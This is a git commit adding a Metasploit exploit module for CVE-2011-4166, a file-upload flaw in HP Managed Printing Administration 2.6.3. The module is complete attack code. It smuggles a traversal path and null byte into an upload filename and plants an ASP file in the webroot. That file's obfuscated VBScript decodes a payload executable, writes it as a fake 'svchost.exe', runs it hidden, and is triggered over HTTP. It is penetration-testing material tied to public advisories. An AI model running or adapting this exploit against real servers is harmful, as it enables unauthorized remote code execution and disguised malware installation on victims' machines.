Add module for ZDI-11-352

unstable
jvazquez-r7 2013-07-18 09:39:55 -05:00
parent bf023f261a
commit 3780b1b59f
1 changed files with 254 additions and 0 deletions

View File

@ -0,0 +1,254 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize
super(
'Name' => 'HP Managed Printing Administration jobAcct Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability on HP Managed Printing
Administration 2.6.3 (and before). The vulnerability exists in the UploadFiles()
function from the MPAUploader.Uploader.1 control, loaded and used on server side.
The function can be abused via directory traversal and null byte injection in order
to achieve arbitrary file upload. In order to upload successfully the file cannot
exist in the filesystem. On the other hand, files are written with the privileges of
the Internet Guest Account (IUSR_*). The module tries to achieve code execution by
uploading ASP code into the webroot folder, on locations where server side code is
allowed. By default the /hpmpa/userfiles/ and subfolders are used, since IUSR_*
write privileges are needed for some application functions. The user can specify an
arbitrary location through the WEBFOLDER option.
},
'Author' => [
'Andrea Micalizzi', # aka rgod - Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'Platform' => 'win',
'References' =>
[
['CVE', '2011-4166'],
['OSVDB', '78015'],
['BID', '51174'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-352/'],
['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03128469']
],
'Targets' =>
[
[ 'HP Managed Printing Administration 2.6.3 / Microsoft Windows [XP SP3 | Server 2003 SP2]', { } ],
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Dec 21 2011'
)
register_options(
[
OptString.new('WRITEWEBFOLDER', [ false, "Additional Web location with file write permissions for IUSR_*" ])
], self.class)
end
def peer
return "#{rhost}:#{rport}"
end
def webfolder_uri
begin
u = datastore['WRITEWEBFOLDER']
u = "/" if u.nil? or u.empty?
URI(u).to_s
rescue ::URI::InvalidURIError
print_error "Invalid URI: #{datastore['WRITEWEBFOLDER'].inspect}"
return "/"
end
end
def to_exe_asp(exes = '')
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
var_f64name = Rex::Text.rand_text_alpha(rand(8)+8)
arg_b64string = Rex::Text.rand_text_alpha(rand(8)+8)
var_length = Rex::Text.rand_text_alpha(rand(8)+8)
var_out = Rex::Text.rand_text_alpha(rand(8)+8)
var_group = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
var_char = Rex::Text.rand_text_alpha(rand(8)+8)
var_thisdata = Rex::Text.rand_text_alpha(rand(8)+8)
const_base64 = Rex::Text.rand_text_alpha(rand(8)+8)
var_ngroup = Rex::Text.rand_text_alpha(rand(8)+8)
var_pout = Rex::Text.rand_text_alpha(rand(8)+8)
vbs = "<%\r\n"
# ASP Base64 decode from Antonin Foller http://www.motobit.com/tips/detpg_base64/
vbs << "Function #{var_f64name}(ByVal #{arg_b64string})\r\n"
vbs << "Const #{const_base64} = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\r\n"
vbs << "Dim #{var_length}, #{var_out}, #{var_group}\r\n"
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbCrLf, \"\")\r\n"
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbTab, \"\")\r\n"
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, \" \", \"\")\r\n"
vbs << "#{var_length} = Len(#{arg_b64string})\r\n"
vbs << "If #{var_length} Mod 4 <> 0 Then\r\n"
vbs << "Exit Function\r\n"
vbs << "End If\r\n"
vbs << "For #{var_group} = 1 To #{var_length} Step 4\r\n"
vbs << "Dim #{var_bytes}, #{var_counter}, #{var_char}, #{var_thisdata}, #{var_ngroup}, #{var_pout}\r\n"
vbs << "#{var_bytes} = 3\r\n"
vbs << "#{var_ngroup} = 0\r\n"
vbs << "For #{var_counter} = 0 To 3\r\n"
vbs << "#{var_char} = Mid(#{arg_b64string}, #{var_group} + #{var_counter}, 1)\r\n"
vbs << "If #{var_char} = \"=\" Then\r\n"
vbs << "#{var_bytes} = #{var_bytes} - 1\r\n"
vbs << "#{var_thisdata} = 0\r\n"
vbs << "Else\r\n"
vbs << "#{var_thisdata} = InStr(1, #{const_base64}, #{var_char}, vbBinaryCompare) - 1\r\n"
vbs << "End If\r\n"
vbs << "If #{var_thisdata} = -1 Then\r\n"
vbs << "Exit Function\r\n"
vbs << "End If\r\n"
vbs << "#{var_ngroup} = 64 * #{var_ngroup} + #{var_thisdata}\r\n"
vbs << "Next\r\n"
vbs << "#{var_ngroup} = Hex(#{var_ngroup})\r\n"
vbs << "#{var_ngroup} = String(6 - Len(#{var_ngroup}), \"0\") & #{var_ngroup}\r\n"
vbs << "#{var_pout} = Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 1, 2))) + _\r\n"
vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 3, 2))) + _\r\n"
vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 5, 2)))\r\n"
vbs << "#{var_out} = #{var_out} & Left(#{var_pout}, #{var_bytes})\r\n"
vbs << "Next\r\n"
vbs << "#{var_f64name} = #{var_out}\r\n"
vbs << "End Function\r\n"
vbs << "Sub #{var_func}()\r\n"
vbs << "#{var_bytes} = #{var_f64name}(\"#{Rex::Text.encode_base64(exes)}\")\r\n"
vbs << "Dim #{var_obj}\r\n"
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
vbs << "Dim #{var_stream}\r\n"
vbs << "Dim #{var_tempdir}\r\n"
vbs << "Dim #{var_tempexe}\r\n"
vbs << "Dim #{var_basedir}\r\n"
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
vbs << "#{var_stream}.Close\r\n"
vbs << "Dim #{var_shell}\r\n"
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
vbs << "End Sub\r\n"
vbs << "#{var_func}\r\n"
vbs << "%>\r\n"
vbs
end
def upload(contents, location)
post_data = Rex::MIME::Message.new
post_data.add_part("upload", nil, nil, "form-data; name=\"upload\"")
post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"..\\../../wwwroot#{location}\x00.tmp\"")
data = post_data.to_s
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
res = send_request_cgi({
'uri' => normalize_uri("hpmpa", "jobAcct", "Default.asp"),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => data,
'encode_params' => false,
'vars_get' => {
'userId' => rand_text_numeric(2+rand(2)),
'jobId' => rand_text_numeric(2+rand(2))
}
})
return res
end
def check
res = send_request_cgi({'uri' => normalize_uri("hpmpa", "home", "Default.asp")})
version = nil
if res and res.code == 200 and res.body =~ /HP Managed Printing Administration/ and res.body =~ /<dd>v(.*)<\/dd>/
version = $1
else
return Exploit::CheckCode::Safe
end
vprint_status("HP MPA Version Detected: #{version}")
if version <= "2.6.3"
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
# Generate the ASP containing the EXE containing the payload
exe = generate_payload_exe
# Not using Msf::Util::EXE.to_exe_asp because the generated vbs is too long and the app complains
asp = to_exe_asp(exe)
#
# UPLOAD
#
asp_name = "#{rand_text_alpha(5+rand(3))}.asp"
locations = [
"/hpmpa/userfiles/images/printers/",
"/hpmpa/userfiles/images/backgrounds/",
"/hpmpa/userfiles/images/",
"/hpmpa/userfiles/",
"/"
]
locations << normalize_uri(webfolder_uri, asp_name) if datastore['WRITEWEBFOLDER']
payload_url = ""
locations.each {|location|
asp_location = location + asp_name
print_status("#{peer} - Uploading #{asp.length} bytes to #{location}...")
res = upload(asp, asp_location)
if res and res.code == 200 and res.body =~ /Results of Upload/ and res.body !~ /Object\[formFile\]/
print_good("#{peer} - ASP Payload successfully wrote to #{location}")
payload_url = asp_location
break
elsif res and res.code == 200 and res.body =~ /Results of Upload/ and res.body =~ /Object\[formFile\]/
print_error("#{peer} - Error probably due to permissions while writing to #{location}")
else
print_error("#{peer} - Unknown error while while writing to #{location}")
end
}
if payload_url.empty?
fail_with(Exploit::Failure::NotVulnerable, "#{peer} - Failed to upload ASP payload to the target")
end
#
# EXECUTE
#
print_status("#{peer} - Executing payload through #{payload_url}...")
send_request_cgi({ 'uri' => payload_url})
end
end